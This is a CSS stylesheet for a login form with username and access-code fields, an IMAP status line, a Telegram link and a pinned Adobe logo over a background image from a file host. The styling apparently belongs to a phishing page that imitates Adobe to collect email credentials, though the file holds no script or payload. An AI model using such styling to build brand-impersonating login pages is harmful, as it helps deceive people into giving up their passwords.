
    body, html {
      height: 100%;
      margin: 0;
      font-family: Arial, Helvetica, sans-serif;
      display: flex;
      justify-content: center;
      align-items: center;
      flex-direction: column;
    }
    .background-image {
      background-image: url('https://files.catbox.moe/ebloni.png');
      filter: brightness(80%) blur(5px);
      transition: filter 1s ease-in-out;
      height: 100%;
      width: 100%;
      background-position: center;
      background-repeat: no-repeat;
      background-size: cover;
      position: fixed;
      z-index: -1;
    }
    .form-container {
      background-color: rgba(255, 255, 255, 0.88);
      padding: 20px;
      border: 3px solid #ccc;
      border-radius: 8px;
      box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.3);
      text-align: center;
      width: 100%;
      max-width: 350px;
      opacity: 0;
      transition: opacity 0.5s ease;
    }
    .form-container.fade-in {
      animation: fadeIn 0.8s ease forwards;
    }
    @keyframes fadeIn {
      from { opacity: 0; transform: translateY(10px); }
      to { opacity: 1; transform: translateY(0); }
    }
    .logo img {
      width: 250px !important;
      height: auto;
      margin-top: -5px;
      margin-bottom: 0px;
    }
    .tagline {
      font-weight: 400;
      font-size: 15px;
      color: #6E6E6E;
      margin: 10px 0 18px;
    }
    input, button {
      padding: 10px;
      font-size: 16px;
      margin: 10px 0;
      width: 90%;
      border: 1px solid #ccc;
      border-radius: 4px;
      transition: all 0.3s ease;
    }
    #username,
    #accessCode {
      font-weight: 700;
      color: #000;
    }
    button:hover { background-color: #E62B1E; color: white; cursor: pointer; }
    .padlock-icon { width: 18px; height: 18px; vertical-align: middle; }
    .warning {
      display: flex;
      align-items: center;
      color: #752525;
      font-weight: 520;
      font-size: 16px;
      margin-bottom: 10px;
    }
    .icon-circle {
      width: 20px; height: 20px; border-radius: 50%; background-color: #752525;
      color: white; display: flex; align-items: center; justify-content: center;
      font-weight: bold; margin-right: 8px; font-size: 13px;
    }
    .imap-status {
      font-size: 13px;
      color: #444;
      margin-top: -5px;
      margin-bottom: 10px;
      font-style: italic;
    }
    .telegram { margin-top: 15px; font-size: 13px; text-align: center; }
    .telegram a { color: #0088cc; text-decoration: none; }
    .telegram a:hover { text-decoration: underline; }
    .adobe-logo {
      position: fixed;
      top: 120px;
      right: 40px;
      width: 120px;
      z-index: 1000;
    }
  